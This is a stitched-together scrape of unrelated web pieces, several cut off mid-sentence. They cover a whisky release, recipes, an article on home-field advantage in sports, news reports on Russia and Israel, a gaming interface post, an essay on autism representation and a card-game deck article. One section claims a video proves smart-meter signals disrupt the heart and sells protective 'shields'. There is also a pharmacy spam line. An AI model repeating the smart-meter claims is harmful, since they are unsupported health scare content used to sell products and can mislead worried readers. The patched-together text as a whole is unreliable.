“The whisky has a great deal of character and we hope it will appeal to whisky lovers who have tried other Benromach single malts and to those who would like to see what a classic pre-1960s Speyside malt is like.”
The packaging for Benromach 15 Years Old adopts the same design principles as the 10 Years Old, with the addition of gold effect detailing to highlight the premium nature of the product.
The bottle style and packaging reflects the hand-crafted character of the Benromach whiskies.
The elegant bottle’s neck and shoulder resembles the shape of the Benromach stills while the box, complete with embossed hand-drawn lettering, replicates their colour.
Original source: Company ReleaseShare
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Easy Vegan Lentil and Veggie Stuffed Peppers Recipe
Easy Low Carb Vegan Lentil and Veggie Stuffed Peppers are packed with protein and have a rich, meaty flavor in a quick and delicious baked vegan stuffed pepper recipe that will keep you full all day long!
These Lentil Stuffed Peppers are a delicious, slightly spicy dish that you’ll crave year-round – and because it comes together so easily, incorporating this as a meatless monday staple will help break up the monotony!
Lentils are cheap, easy to prepare, and less draining on our bodies than prepared foods. So they are pretty much no-brainer for our family- especially during times like Lent when we eat very little fat or protein – and they taste great!
Lentils have a delicious, meaty flavor, without adding meat – and are very heart healthy and packed with fiber. They are a great lower calorie and low fat source of protein and perfect for fueling up when sticking to a vegan diet!
Tips To Perfect Easy Baked Lentil Stuffed Peppers
You’re really only going to be actively cooking for about 15 minutes, including the prep- making this a great weekday meal.
It also makes delicious leftovers!
I sometimes think leftover lentils dry out a bit when reheating for lunch the next day, but the bell pepper base provides plenty of liquid to keep the dish together.
This is a great make-ahead dish that I like to have ready for my husband to take to work. It’s far healthier than fast food, and incredibly inexpensive.
Easy Baked Lentil Stuffed Pepper Flavor Variations
I am preparing this as a taco-style flavor – but you could easily adjust the seasonings to make this dish fit a variety of tastes- try it as a curry, with coconut aminos for a soy-sauce like flavor, or even spaghetti sauce!
Lentils go well with a wide variety of flavors, so don’t be afraid to try different things out.
If you eat meat-free, but eat dairy, these peppers are great with a little melted cheese. If there is a vegan cheese you like that melts well, you can top these peppers with that, too! The sky is the limit when it comes to flavor options for this dish.
Easy Baked Vegan Lentil Stuffed Pepper RecipeOne of the things that bothered me about the discussions that happened over the HS debacle in the last few days was the rampant tone policing by some of the white female commenters. It didn't happen a ton, but it happened enough that I was genuinely annoyed by it, especially since tone policing is a tactic that MRAs use all the time to derail feminist discussions. To see white women (who are supposed to be allies) use those same tactics against black women as a defense against their |
home against Chelsea, i.e. d h, A r s e n a l = 2 {\displaystyle d_{h,Arsenal}=2}, and Arsenal won 3–0 at Chelsea, i.e. d a, A r s e n a l = 3 {\displaystyle d_{a,Arsenal}=3}, then the result for Arsenal at home was worse). Same approach has to be used for all opponents in one season to obtain k 1 {\displaystyle k_{1}}, k 0 {\displaystyle k_{0}}, and k − 1 {\displaystyle k_{-1}}.
Values of k 1 {\displaystyle k_{1}}, k 0 {\displaystyle k_{0}}, and k − 1 {\displaystyle k_{-1}} are used to estimate probabilities as p ^ r = k r + 1 K + 3, r = − 1, 0, 1 {\displaystyle {\hat {p}}_{r}={\frac {k_{r}+1}{K+3}},r=-1,0,1}, where K {\displaystyle K} is total number of opponents in a league (this is Bayesian estimator). To test hypothesis that home-field advantage is statistically significant we can compute P ( p 1 > p − 1 ) = 1 − I 1 / 2 ( k 1 + 1, k − 1 + 1 ) {\displaystyle P(p_{1}>p_{-1})=1-I_{1/2}(k_{1}+1,k_{-1}+1)}, where I 1 / 2 ( ) {\displaystyle I_{1/2}()} is incomplete gamma function. For example, Newcastle in 2015/2016 English Premier League season recorded better result at home field for 13 opponents, same result with 4 opponents, and worse result for two opponents; therefore P ( p 1 > p − 1 ) = 1 − I 1 / 2 ( 14, 3 ) = 0.998 {\displaystyle P(p_{1}>p_{-1})=1-I_{1/2}(14,3)=0.998} and hypothesis about home team advantage can be accepted. This procedure was introduced and applied by Marek and Vávra (2017)[9] on English Premier League seasons 1992/1993 – 2015/2016.
Marek and Vávra (2018)[10] described procedure which allows to use observed counts of combined measure of home team advantage ( k 1 {\displaystyle k_{1}}, k 0 {\displaystyle k_{0}}, and k − 1 {\displaystyle k_{-1}} ) in two leagues to be compared by the test for homogeneity of parallel samples (for the test see Rao (2002)[11]). The second proposed approach is based on distance between estimated probability description of home team advantage in two leagues ( p ^ r = k r K, r = − 1, 0, 1 {\displaystyle {\hat {p}}_{r}={\frac {k_{r}}{K}},r=-1,0,1} ) which can be measured by Jeffrey divergence (a symmetric version of Kulback-Leibler distance). They tested five top level English football leagues and two top level Spanish leagues between 2007/2008 and 2016/2017 season. The main result is that home team advantage in Spain is stronger. Spanish La Liga has the strongest home team advantage and English football league two has the lowest home team advantage among analysed leagues.
Gaining or losing home-field advantage [ edit ]
During the regular season for a sport, in the interest of fairness, schedulers try to ensure that each team plays an equal number of home and away games. Thus, having home-field advantage for any particular regular-season game is largely due to random chance. (This is only true for fully organized leagues with structured schedules; for a counterexample, college football schedules often have an imbalance in which the most successful and largest teams can negotiate more home appearances than mid-majors, a situation that was also prevalent in the early, disorganized years of the National Football League).
However, in the playoffs, home advantage is usually given to the team with the higher seed (which may or may not have the better record), as is case in the NFL, MLB, and NHL playoffs. One exception to this was MLB's World Series, which between 2003 and 2016, awarded home-field advantage to the team representing the league which won the All-Star Game that year, to help raise interest in the All-Star Game after a tie in 2002 (before 2003, home-field advantage alternated each year between the National League and the American League). The NBA is the only league that has home-court advantage based solely on which team has the best record (using various tiebreakers to settle the question should the teams finish with identical records).
Rugby union's European Rugby Champions Cup also uses a seeding system to determine home advantage in the quarterfinals (though not in the semifinals, where the nominal "home" teams[12] are determined by a blind draw).
In many sports, playoffs consist of a'series' of games played between two teams. These series are usually a best-of-5 or best-of-7 format, where the first team to win 3 or 4 games, respectively, wins the playoff. Since these best-of series always involve an odd number of games, it is impossible to guarantee that an equal number of games will be played at each team's home venue. As a result, one team must be scheduled to have one more home game than the other. This team is said to have home-field advantage for that playoff series.
During the course of these playoff series, however, sports announcers or columnists will sometimes mention a team "gaining" or "losing" home-field advantage. This can happen after a visiting team has just won a game in the series. In playoff series format, the home-field advantage is said to exist for whichever team would win the series if all remaining games in the series are won by the home team for that game. Therefore, it is possible for a visiting team to win a game and, hence, gain home-field advantage. This is somewhat similar to the concept of losing serve in tennis.
As an example, suppose that the San Francisco Giants and the Los Angeles Dodgers are about to play a best-of-seven series against each other. Four games will be played in San Francisco, while three will be played in Los Angeles. If the home team were to win each game, then the Giants would win four games, the Dodgers would win three games, and the Giants would win the series, so we say that San Francisco has the home-field advantage. However, suppose that the first game is played at the Giants' park and the visiting Dodgers win. Los Angeles now has one win, and there are three games remaining at each park. If the home team wins each of the remaining games, then the Dodgers will have won four games, while San Francisco will have won two (the last game at San Francisco would be omitted, as even if the Giants won, they'd still lose 4 games to 3). Since the Los Angeles Dodgers would win the series in such a scenario, it is said that they have taken home-field advantage away from the San Francisco Giants.
In some cup competitions, (for example the FA Cup in all rounds prior to the semi-final), home advantage is determined by a random drawing. However, if the initial match is drawn (tied), home advantage for the replay is given to the other team.
Neutral venues [ edit ]
For certain sporting events, home advantage may be removed by use of a neutral venue. This may be a national stadium that is not a home stadium to any club[citation needed] (for example Wembley Stadium hosts the FA Cup Final and semi-finals). Alternatively the neutral venue may be the home stadium of another club, such as was used historically to stage FA Cup semi-finals.
If the venue is chosen before the start of the competition however, it is still possible for one team to gain home field advantage. For example, in the European Cup/UEFA Champions League, there have been four instances where a club has managed to reach the final hosted in its own stadium (1957, 1965, 1984, and 2012). Most recently Bayern Munich played (and lost) the 2012 final at their home stadium of Allianz Arena, as it was chosen as the venue in January 2010. In the Champions League Final, however, if the "home" shirt colors of both teams conflict (e.g. both are red) then there is a draw which assigns one of the teams their "away" shirt. Not unlike the UEFA Champions League, the NFL's Super Bowl is played in a venue chosen years in advance of the game. It is possible for a team to reach the Super Bowl when it is played in their home stadium; this has never happened in the history of the game, though two games (XIV in 1980 and XIX in 1985) were played in neutral stadiums in the market area of one of the participating teams. Tickets are allocated equally between both competing teams in the Final, even if one side happens to be the home team.
Neutral-venue matches may arise out of necessity. For example, on December 12, 2010, the roof of the Minnesota Vikings' stadium, the Hubert H. Humphrey Metrodome collapsed due to a snowstorm. The Vikings were supposed to play against the New York Giants at the stadium the next day. The game was moved to the Detroit Lions' stadium, Ford Field. The following week, the Vikings' Monday Night Football game against the Chicago Bears was moved to the University of Minnesota's TCF Bank Stadium.
For the 1992–93 and 1993–94 seasons, the National Hockey League scheduled neutral site games. Each team played 41 home games, 41 road games, and 2 games at neutral sites (for a total of 84 games). Each club played one neutral site game as the designated home team and one as the designated road team. The neutral site games were eliminated starting with the 1995–96 season, which reduced the regular season to 82 games per team.
A requirement to play home matches at a neutral venue has been used as a punishment by UEFA for teams whose fans cause disturbances at a previous match.[13] For example, after the violent clashes after the Turkey-Switzerland game in 2005, UEFA punished the Turkish team with playing the next six regular international home matches abroad. It is also required where one team's home location is in a war zone or at high risk of terrorism, or if the visiting team is prevented from travelling to (one of) their opponent's regular stadium(s) for political reasons. The latter consideration is uncommon because governing bodies typically implement measures to prevent national teams from jurisdictions with the most serious political disputes (for example, Spain and Gibraltar or Serbia and Kosovo) from being drawn in the same group, but it does happen - for example, the Ukraine-Kosovo qualifier game for the 2018 World Championships was held in Krakow, Poland, because the Ukraine does not recognize Kosovo and does not admit Kosovar nationals to its territory. In all such cases, the match is still treated as a "home" match for such purposes as implementing the away goals rule.
By competition [ edit ]
Baseball [ edit ]
In the 2018 Major League Baseball regular season, the home team won 1,277 games (52.6%), and the away team won 1,149 games (47.4%). These totals include the season's two tiebreaker games, which are officially counted as part of the regular season, but do not include the six games played at neutral sites (though all of the neutral-site games had a designated home team).
The team with the best overall record, the Boston Red Sox, finished 108–54, going 57–24 at home and 51–30 away. Of their wins, 52.8% were at home, and 55.6% of their losses were on the road.
The team with the worst record, the Baltimore Orioles, went 47–115 (28–53 at home, 19–62 away). Of their total wins, 59.6% were at home, and 53.9% of their losses were away.
The largest differential between home and road records was that of the Philadelphia Phillies, going 48–32 at home, 31–50 away, and winning their only neutral-site game as the designated home team. Exactly 60% of their wins were in their home park, and 61.0% of their losses were on the road.
An especially anomalous home/away split was that of the Houston Astros, whose 103–59 record was second-best in MLB. They were 11 games better on the road than at home (46–35 home, 57–24 away). Of their wins, 44.6% were at home, while 40.7% of their losses were away.
Basketball [ edit ]
In the 2017–18 NBA regular season, the home team won 712 games (58%), and the away team won 518 games (42%).
The team with the best overall record, the Houston Rockets, finished 65–17, going 34–7 at home and 31–10 away. In all, 52% of their wins were at home, and 59% of their losses were on the road.
The Toronto Raptors had the same home record as the Rockets, but went 25–16 away. This meant that 58% of their wins were at home, and nearly 70% of their losses were away.
The season's largest differential between home and road records was that of the San Antonio Spurs. Their home record was only one game worse than that of the Rockets and Raptors, at 33–8, but their road record was 14–27. The Spurs had 70% of their wins at home, and 77% of their losses were away.
The only team with a better record on the road than at home was the Phoenix Suns, who had the worst record in the league at 21–61. Their home and road records were separated by only one game (10–31 home, 11–30 away).
In the 2016–17 Premier League, the home team won 187 matches (49%), the away team won 109 matches (29%), and teams drew in 84 matches (22%), however this is an aberration as Home advantage has been steadily declining for over a century. [14]
Manchester City FC had 23 wins, 9 draws and 6 losses. They had 48% of their wins at home, and 93% of their losses away.
Burnley FC had 11 wins, 7 draws and 20 losses. They had 91% of their wins at home, and 70% of their losses away.
See also [ edit ]
References [ edit ]
Notes
Sources
Further readingSmart Meter Series – Message 2
What happens to your Heart when a Smart Meter is close by?
Warren Woodward asked that question and set up a live EKG demonstration and video taped it to prove what actually happens to a healthy heart when “hit” with the signal from the Smart Meter.
Using a laptop that was connected to a high-frequency analyzer, he shows a series of regular wave patterns indicating a steady heartbeat.
Another device in the room was recording the electrical signals coming into the room.
When the device picked up a microwave signal from the Smart meter, the heart reacted right after that frequency entered the room.
Watch as the lovely, even EKG heart rhythm gets interrupted, dips, spike up and then wobbles around until for a while before it goes back to a normal heartbeat.
Video proves Smart Meters Affect the Human Heart
Watch the Video
Doctor Warns Us…
The doctor’s opinion is that the microwaves coming from the Smart Meters are hard on the heart, even for a healthy person. Note: the demonstration is by a man who has no known history of heart disease or problems, and yet his heart rhythm was immediately affected.
If you have a stent or a pacemaker, this could create a serious problem for you.
Do the Utilities Know Smart Meters are Hazardous to our Health?
Do we really even need to guess about this? The Smart Meters are a wonderful source of revenue for these companies. The utility companies assure us they are safe. This is simply not true. The only question is now is what will it take to get Smart Meters banned worldwide?
In many cases, you can opt out, but it’s a hassle and often comes with extra expenses. Plus even if you opt out the waves from surrounding Smart Meters are still bombarding you.
Have you heard about the people who are getting really, really sick very shortly after the Smart Meters were installed? Or about the stealth installation of these meters? The utility companies don’t seem to have to tell you they are putting in a new meter. They just do it.
Did you know that many people sleep close to these Smart Meters? The utility company puts the meter wherever it is convenient for them and often that just happens to be on the other side of your bedroom wall. Many people in apartments or condos have an entire bank of meters next to their bedrooms.
Protection from Smart Meters
There are a number of ways to protect yourself from Smart Meters. We recommend
a multi-layered approach.
Step one is full-body protection.
Step two get a Room Shield immediately and hang it in a room that is on the other side of the wall from where the Smart Meter is installed. (Note: a Room Shield is a good idea even if you don’t have a smart meter and you can get a stand with it that makes it easy to move into the living room or office during the day.)
Why Protection During Sleep Matters
When you sleep, your body enters into a “rest and repair” mode. It can’t do that if it is being bombarded by a Smart Meter pulse every few seconds.
If you haven’t purchased a personal BioElectric Shield, we then recommend you put 2 Room Shields in your bedroom to help combat these strong waves. We hope, however, you’ll get a Shield that you can wear as it protects you every where you go….even if you don’t have a Smart Meter, it’s almost impossible to avoid being around them at least part of the time.
If you’re really sensitive or concerned about the long-term impact, you might consider additional solutions that involve spraying windows and painting one wall in your bedroom.
Please give us a call and we’ll help walk you through how to best protect yourself.
Watch the videoMOSCOW (Reuters) - President Vladimir Putin said on Tuesday Russia had foiled 20 militant attacks this year and was stepping up efforts to root out domestic terrorism, almost three weeks after launching air strikes against Islamist fighters in Syria.
The Russian authorities have arrested a number of suspected militants since the Syria campaign started on Sept. 30, a development that stoked fears that militants could seek revenge by attacking targets inside Russia.
A week ago, Russia’s FSB Federal Security Service said it had foiled a plot to attack Moscow’s busy underground using explosives, news that rekindled painful memories among Russians of a series of deadly attacks on the metro in the 2000s.
Some of the men arrested in connection with the plot had undergone Islamic State training in Syria, the FSB said.
Speaking at a meeting in the Kremlin with military officers, Putin said the FSB had killed 112 militants and arrested more than 560 so far this year.
“The complex international situation demands that we strengthen our counter-terrorism work including inside our own country,” said Putin.
“We need to act just as energetically and efficiently (as in the past). It is vital to expose the links between Russian militants with international terrorist groups and their sponsors.”
Putin spoke as police said they had detained 20 suspects they accused of financing terrorism and advocating the creation of an Islamic caliphate on Russian soil.
The interior ministry said it had conducted a search of 24 addresses in the Moscow region where members of outlawed organization Hizbut Tahrir resided.
“The members of the extremist organization were recruiting new followers, distributing banned religious material and raising funds, including to help finance armed militants,” the ministry said in a statement.
Putin said Islamic State militants in Syria were planning to destabilize other regions and were recruiting Russians and citizens of other former Soviet states with a view to expanding their operations.
Russia's President Vladimir Putin speaks during a meeting with the State Council Presidium on developing the fisheries sector at the Novo-Ogaryovo state residence outside Moscow, Russia, October 19, 2015. REUTERS/Alexander Zemlianichenko/Pool
Russia’s main breeding ground for Islamist militants is in the mainly Muslim North Caucasus region, including in the internal republics of Chechnya, Dagestan and Ingushetia, where Islamist insurgencies have been simmering for years.
The Kremlin has fought two wars in Chechnya since the 1991 Soviet collapse and now relies on loyalist Chechen leader Ramzan Kadyrov to use force to keep relative peace in the region.
Russia says it is also worried about the possible spread of jihadism to the former Soviet republics of Central Asia, a region Russian strategists have traditionally called the country’s “soft underbelly.”IDF figures for 2013 show a significant increase in the small number of Arab Christian Israeli citizens opting to serve in the military, a course that has long been taboo outside the Druze and Bedouin communities of Israel.
“Since last June, within the space of half a year, 84 Christians have joined the military,” the army wrote on its official site earlier this week. That figure, while small, represents a threefold increase from past averages.
There are 161,000 Christians living in Israel. Nearly 80 percent of them are of Arab origin, with the remainder largely hailing from the former Soviet states. For years, the majority group — which has included an Israel Prize-winning author and a Supreme Court justice as well as an unswervingly anti-Zionist member of Knesset — has maintained a European birth rate and the top position on Israel’s scholastic achievement charts. But it has often identified, first, as Arabs and Palestinians – nearly all live in majority Muslim towns and villages – and only after as Israelis, certainly in all matters pertaining to compulsory military service.
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Father Gabriel Naddaf, addressing a gathering of Christian Arab soldiers earlier this week, called, not for the first time, for a radical shift. “As a Christian spiritual teacher living in the Middle East, I understand that human rights are not to be taken for granted,” the IDF website quoted him as saying. “I believe in shared life between Jews and Christians in this state and a shared fate between the Christian minority and the Jewish state. I believe that we have the capability to contribute to the state and I call on the children of the Christian congregations — enlist in the IDF, help protect the state.”
Prime Minister Benjamin Netanyahu, who sent a recorded message to the gathering in Nazareth — the largest of the Christian population centers in Israel — said that the goal of the initiative is “clear and blessed” and stressed that “there is no need to underscore the importance of your actions… I salute you and support you.”
The prime minister acknowledged the challenges facing the initiative. “I know it is not an easy mission but we will stand beside you and support you unstintingly. I am committed to ousting the threat and the violence that you face.”
Naddaf, who lives in the central Galilee town of Yafia, said he has faced an escalating regime of threats. “The violence and incitement against Christians seeking to assimilate into society, knows no bounds,” he reportedly said. “The incitement has borne fruit — what began as a blood-soaked towel at the door of my home reached new heights two weeks ago when my 17-year-old son was attacked.”
The meeting of the Israeli Christian Recruitment Forum, the first in which nearly all currently serving soldiers were in attendance, drew politicians and mid- to high-level IDF officers. Maj. Ihab Shalian, the founder of the enlistment forum, told the IDF news site that “the rise in enlistment is there but up till now there was a lot of fear — on one hand on account of uncertainty, and on the other, fear from our surroundings.”
That, however, has changed, he said. “Most of the sons of the congregation want to be a part of the state and I believe that now that the fear barrier has been broken — we’ll only progress from here.”In the comments on my most recent WeakAuras post, several people said that they’d be interested in hearing about my user interface (UI) and keybinding setups. I discussed my UI setup briefly about a year ago, but it’s probably worth a more complete (and updated) discussion.
User Interface
For starters, here’s my interface. The link below contains an annotated screenshot where I’ve identified all of the relevant addons I’m using.
annotated screenshot
I’ve put a lot of thought into this interface, revamping and revising it over many years. The basic goal is pretty straightforward – make information easily accessible and arrange it in order of importance. As I said in the Ask Theck post:
[My UI is] generally arranged around a principle of “least eye movement.” The idea is that the stuff you need to act on quickly should be in front of you, and require little to no eye movement to see. Stuff that’s not as important, or things you only check once in a while, go farther out. This minimizes the amount of time your eyes spend searching your UI for information, and lets you concentrate on the decision-making portions of gameplay.
What’s important? Things like ability cooldowns, important temporary buffs (GAnK, AD, etc.), enemy spell casts, and DBM timers that are about to expire. As you can see, those things are all clustered around the middle of the screen, just far enough out that I have an unobstructed view of myself, the boss, and the area immediately around me. My WeakAuras HUD gives me at-a-glance information about my rotational abilities directly below my character. I have Gnosis set up to put an enemy cast bar right above the Holy Power indicator. A custom Raven group slightly off to the upper left tells me about important temporary buffs, which includes pretty much every mitigation cooldown, enchant, and trinket proc I might care about. And DBM timers that are about to expire are to the immediate left, so I can see what’s coming up in the next 10 seconds.
As we go further out, things gradually drop off in importance. Below the WeakAuras HUD is my own cast bar (which almost never shows, since we don’t cast much), and immediately below that are my player, target, target of target (ToT), and ToToT unit frames. Below those are my Bartender action bars and minimap. Boss and boss target frames are to the right. Longer-duration DBM timers are off to the top left. Incoming damage and heals are shown to the far left (via Mik’s Scrolling Battle Text, or MSBT), and outgoing damage is shown to the far right (also MSBT). Grid is off to the far left. In the corners are the least important things: Chat frame, Omen/Recount, buff icons (via Raven).
One thought you might have had is, “Wait, isn’t your health important?” Indeed it is, which may lead to the follow-up question, “So why is your player frame so far from the center?” The answer is scale – note how large the health bar is. It’s that size for a reason – it makes it easy to see in the periphery of my vision. I don’t need the player frame to be any closer, because the health bar is so big that I can easily see it at all times at that distance without looking. Since I generally only need a rough estimate of my health anyway, this is perfect. It’s also the reason so many unit frame mods make the health bar so big, and one of the major reasons why a unit frame addon is preferable to the default UI.
As a final note, I should mention that I double up on some keys by using Clique in combination with Grid. Clique lets you assign spells to modifier+mouse button combinations on specific frames. So, for example, I can set it up such that when I use Mouse4 on a player in Grid, it casts WoG on them, even though Mouse4 is bound to CS when I click it outside of the Grid frames. This adds a lot of versatility, especially for spells that target friendly players – it’s basically like an entire suite of mouseover macros, but only for the particular unit frames you want them to work on. So in Clique, I have WoG, Sacred Shield, and all of the Hand spells bound to different mouse/modifier combinations.
Key Bindings
My key binding setup is a bit peculiar. First of all, I don’t use the default movement keys (WASD). Instead I use ESDF. To see why, consider these two images of the two setups:
Most players who use a WASD scheme will bind A and D to left and right strafe, respectively. W controls forward motion, while S is backpedaling. Those four keys give you your basic range of motion. Then you have the keys on the periphery that you can use for bindings: 1-4, Q, E, F, Z, X, and C are all prime real estate for abilities. There are some keys that are a little harder to reach, which are shown in yellow: tilde, 5, T, G, and V. These are reachable, but require a little bit of stretching. Everything else is a little tough to reach – you can hit F1-F5, but you have to take your fingers off of WASD; similarly, 6, B, H and Y are pretty much unreachable without loss of movement control. However, you do have full control of all three modifier keys – Alt, Control, and Shift – which allows you a decent number of key binding combinations.
Now let’s look at the ESDF scheme:
In ESDF, your movement keys are shifted over one spot. This opens up a number of new bindings. First of all, I disagree with the coloring in this image – green is supposed to indicate that a key is fast and easy to reach, so Z, X, C, and V ought to be green instead of yellow. V, G, T, and 5 are now in the “easy-to-reach” category, bringing our total of “easy” buttons to 15, up from 11 in the WASD scheme. We can also reach 1, 6, Y, H, and B now with only a little stretching (Y, H, and B could almost be included in the “easy” set in my opinion, but that may depend on your hand size and typing ability). Our total of yellow keys is still 5 (tilde, 5, T, G, V in the WASD scheme; 1, 6, Y, H, B in the ESDF scheme). And we still have 4 keys to the right that we can hit if we give up movement control (7, U, J, N) along with the F-keys, but we’ve added a new one to the top left (tilde). We also keep all three modifier keys in this configuration, opening up quite a few more binding options. This is one of the strengths of the ESDF scheme: it expands the number of binds you can access with your left hand.
There’s another reason the ESDF scheme is more convenient for me – it maintains your usual hand positioning while typing. I took a keyboarding class in high school, so I was taught proper hand positioning and typing practice. My hands naturally drift to the home row when I’m in front of a keyboard, and I’m pretty proficient at reaching all potential key combinations (to the tune of ~70 words per minute, give or take). It just feels unnatural to me to put my hand in the WASD configuration. Furthermore, I can actually hit most of the “unreachable” buttons with my left hand without too much trouble if I need to, because most keyboards have a raised “nub” on F and J that lets you quickly position your hands. So while I have to give up control to hit U, J, N, or 7, I can do it in a pinch because it takes me very little time to recover.
So how do I arrange my skills within this scheme? Something like this:
In this image, the lower right corner is what’s bound to that key normally. To the left is the combination with the Alt modifier, and top right is the combination with the Control modifier. So for example, hitting W uses a trinket, Shift+W is Hammer of Wrath, and Alt+W is Word of Glory.
F1-F8 take some work to hit, but they’re still accessible enough that it was worth using them for something. When I was raid leading, I found myself needing to use raid markers quickly while in combat, and these keys were perfect for that since I wasn’t using them otherwise.
1-5 are easier to reach, and thus get more common spells. 1 is a Righteous Fury toggle macro that helps with taunt swaps. 2 is Judgment, which is a bind that literally goes back to the first days of WoW – it’s the spot where Judgment defaulted to when I learned it, and it never moved. 3 is Rebuke, and in general I use 3 for interrupts on all of my characters. 4 is Hammer of Justice (and likewise, usually a stun or CC on other classes). 5 is a Hand of Protection macro that doesn’t get much use anymore, but still comes in handy occasionally.
Tilde is my mount macro, since it’s far enough out that it would be difficult to use in combat. N brings up the talents pane, J brings up my world map. I don’t remember what U does, but it’s another interface panel of some sort.
Q is Holy Avenger. I don’t have anything else relevant bound to Q, because I moved the quest log to Shift+Q and the other combinations (Alt+Q and Control+Q) are awkward. W pulls triple duty: its default function is a /castsequence trinket macro, but with Shift it becomes Hammer of Wrath (Shift+W has been my “execute” button for what seems like forever) and with Alt it becomes my self-WoG hotkey. I don’t actually have a WoG keybind for other players – I use Grid and Clique for that (Mouse4 on a unit’s box casts WoG on them).
E is solely for movement. In the past, I’ve had things bound to Shift+E and Alt+E, but it had a tendency to get in the way of movement (or, for example, moving while using a different Shift+Key bind) so I unbound them. R is actually the in-game “reply to whisper” function, which is probably a waste, but it’s become so ingrained that every time I try to re-bind it somewhere else and use that key, I end up casting whatever I put there every time I try to reply to someone, so I gave up on that. I do have Shift+R bound to a macro that self-casts my L90 talent (Light’s Hammer on the image, even though it doesn’t actually work with that particular talent).
T is still the default “toggle auto-attack” button, but Shift+T is my L90 talent (again, shown as Light’s Hammer). I have Alt+T bound to Turn Evil, but to be honest I can’t remember casting it once so far this expansion, so I left it off the diagram. Y is a little difficult to use, so I have it bound to my cloak tinker (Goblin Glider). H is Divine Protection by default, and Shift+H is Devotion Aura. Alt+H is difficult to use effectively, so it’s not bound.
B is actually Shield of the Righteous. I think that by default, B opens your bags (a function I’ve moved to Shift+B), but that seemed like a waste of good key real estate, so I quickly (as in, in late 2004) rebound that to take advantage of it.
V controls a mouseover macro that taunts if the target is hostile and casts Cleanse if they’re friendly. Shift+V is my self-cleanse button (which hasn’t gotten much use since Wrath, when Cleanse was nerfed). C is still bound to the character pane (another bind I just couldn’t disabuse myself of), but Shift+C is Avenging Wrath. Alt+C is bound for use out-of-combat (Survey, I think) since it’s too awkward to use during combat.
X and Z are my big defensive buttons. I’ve had X bound to Divine Shield since Classic WoW, with a /cancelaura macro for “stupid pally tricks.” Shift+X is my bind for Guardian of Ancient Kings. I don’t think Alt+X is bound to anything at all, certainly nothing I use enough to remember it. Z is Ardent Defender. Alt+Z is bound to something too, but it’s not combat related (I think it toggles the UI for screenshots).
Now for the movement row. S, D, and F are my strafe and backpedal buttons, as per the usual ESDF scheme. Shift+S is Repentance, and Shift+F is a Hand of Freedom macro (also bound to 6, but Shift+F is much easier to hit). Alt+S is my keybind for the ExtraActionButton that Blizzard added in Cataclysm. D is my consumable button – Shift+D uses my healthstone (or a healing potion – it’s a dynamic macro made by the addon Buffet) and Alt+D uses an armor potion (in DPS specs, this is a DPS potion).
A and G are actually… keyboard turning, believe it or not. Now, before you start laughing, hear me out. Would I absolutely need these keys? Probably not – I do most of my turning with the right mouse button and strafing. And I probably should unbind them and put something useful on A and G. But I’ve found that there are times when I want to be moving and turning and clicking on something – for example, I’m strafe-kiting a group of adds and I’m trying to target a loose one that’s on a healer (think heroic Nefarian in T11 for a specific example). Being able to “circle-strafe” with just the keyboard is actually pretty useful in those situations, because it gives me a little more freedom of movement while still giving me the freedom to use my mouse for targeting. I think that in the long run, |
People latch onto characters and construct their own self-image by the understanding they glean from them. Improving representation allows for more varied storytelling and more believable world-building. It's just as important to not offend or upset, or reinforce negative ideas for, those who are being represented.
The idea isn't to control how people with autism spectrum disorders are portrayed, but to hope for characters on the spectrum to be written as well-rounded people, and not just a bundle of symptoms who may or may not be used by those around them. People with autism are just that, people.
While I am still not entirely comfortable with my autism, and I don't know if I ever will be, media representation allows us to contextualize and come to terms with our own difficulties, and hopefully accept other people's as well.Cumin is my favorite spice. If I can add it to my food, I will. I feel this way about hot sauce too. Cumin was one of the most common spices used in the Middle Ages, if that means anything. In addition to loving cumin, I adore tacos. They are easy to make, easy to eat, and filling. So I thought, why not combine tacos with cumin and see what happens? Lunch and dinner for the day resulted. You can also add avocado, when they are not $2.50 each at your local supermarket or farmer’s market.
Step 1
Pre-heat oven to 375 F. Prepare your tortillas by spraying or brushing cooking oil on both sides. When oven is heated, SAFELY drape your tortillas over two bars so they fold over the bars. Cook for 8-10 minutes. Remove from oven and set aside.
Step 2
Place cubed potatoes with a pinch of salt into medium-sized pot, cover with cold water, and bring to boil. Heat on medium-high for 8-10 minutes until soft. Add salt or pepper to taste.
Step 3
Place chickpeas in a small or medium sized frying pan. Add cumin (if you are me and love cumin, you will add a lot more than 1/2 tsp). Cook on medium-high heat for 3-5 minutes or until cooked through. I did not cook in oil, but you can.
Step 4
Assemble your tacos! Layer potatoes, chickpeas, tomatoes, and lettuce in your tortilla. Squeeze one lemon wedge over each taco. If you like hot sauce, drizzle hot sauce over taco. Eat.Mar 30, 2014 – Viagra professional sex video Buy cialis using paypal Reviews of online
A Thoughtseizing Brew
Waste Not.dec
Waste Not, the card designed by the Magic community. It has a bit of a ring to it, wouldn’t you say? To say that Waste Not has been a source of speculation and controversy among the Magic community is quite the understatement. In the deck above we see the card aligned with some of the most powerful discard spells in Standard. There’s just some sort of sweet feeling that can be had from making your opponent unable to do most anything. And getting ahead while doing it? Well, that’s just icing on the cake.
It’s fairly clear that Waste Not is the engine that makes this deck go round. It will be targeted by enchantment hate, it will be sighed at, and it will be raged upon. The most powerful part of Waste Not is that it’s able to do something regardless of what your opponent has discarded. You can play Waste Not, then the very next turn cast Mind Rot. No matter what your opponent discards, they’re getting behind. You could get more mana to cast another discard spell. You could get a creature. You could draw, hey, look, another discard spell!
And, as if that weren’t evil enough, it triggers off of each card your opponent discards. Suddenly, Mind Rot – under perfect circumstances – becomes a four for one. They discard two cards. You get any two: a creature, free mana, or another card. Off of one spell. And yes, this does require having Waste Not, but Mind Rot has never been a bad card by itself. Even Thoughtseize and Duress become so much better alongside Waste Not.
At its core, the Waste Not deck looks to create a ton of advantage while swinging in with an army of Zombies. Waste Not and Liliana’s Reaver both generate Zombies, while cards such as Drainpipe Vermin and Slate Street Ruffian are extra threats that enable Waste Not as a handy bonus. It’s even possible, if your opponent wants to protect their hand as much as possible, that these cards will end up applying enough pressure to put your opponent in the awkward position of having to choose between their dwindling life total and their precious hand. That’s a choice that’s favorable for you regardless of what your opponent chooses.
